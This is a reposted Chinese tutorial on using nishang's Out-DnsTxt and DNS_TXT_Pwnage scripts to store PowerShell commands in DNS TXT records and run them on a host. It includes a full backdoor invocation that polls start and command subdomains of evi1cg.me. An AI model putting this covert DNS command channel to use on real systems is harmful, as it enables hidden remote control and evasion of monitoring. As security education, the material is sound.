首页 > 开发 > PowerShell > 正文

通过DNS TXT记录执行powershell

2020-05-30 20:21:13
字体:
来源:转载
供稿:网友

0x00简介

DNS TXT记录一般用来记录某个主机名或者域名设置的说明,在这里可以填写任何东西,长度限制255。绝大多数的TXT记录是用来做SPF记录(反垃圾邮件)。本篇文章主要介绍如何使用 nishang 通过创建TXT记录执行powershell脚本。当然,首先你要有一个域名。

0x01创建TXT记录

这里需要使用nishang中的一个脚本 OUT-DnsTxt 。

1.常见命令

因为常见命令比较短,所以可以直接添加到TXT记录中,如下图:

现在查看一下TXT记录:

可以看到记录已经成功添加了。

2.脚本

由于TXT记录长度限制为255,如果要添加一个脚本到记录里面,需要添加多个TXT记录。下面是一个例子,自己写了一个PSH脚本:

function Get-User { <# .SYNOPSIS Script to generate DNS TXT for a test. .DESCRIPTION Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up. .EXAMPLE PS > Get-User #>  [CmdletBinding()] Param ()  net user }

使用Out-Dnstxt进行转换:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

由于这个脚本比较小,所以只生产两行:

可以分别将这两行内容按顺序添加到 1.ps.domain.com到2.ps.domian.com中如下图:

查看TXT,可以看到内容都已经添加好了:

0x02 执行Powershell

添加完了TXT记录以后,通过 DNS_TXT_Pwnage.ps1 来执行这些脚本。

DNS_TXT_Pwnage.ps1 是一个通过DNS TXT来接收命令或者脚本的一个后门脚本

这里还需要添加两条记录,strat与stop,具体如下图:

1.执行命令

PS F:/DNS> . ./DNS_TXT_Pwnage.ps1 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me - Subdomains 1 -StopString stop

解释一下参数:

startdomain 为创建的 start.domain ,返回一个字符串; cmdstring 为任意输入的字符串; commanddomain 为创建的执行命令TXT记录的域名; psstring 为任意输入的字符串; psdomain 为创建的执行脚本TXT记录的域名或子域名 ; Subdomains 为执行脚本创建TXT记录的个数(如1.2中创建的脚本,该值为2); StopString 为任意输入的字符串。

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表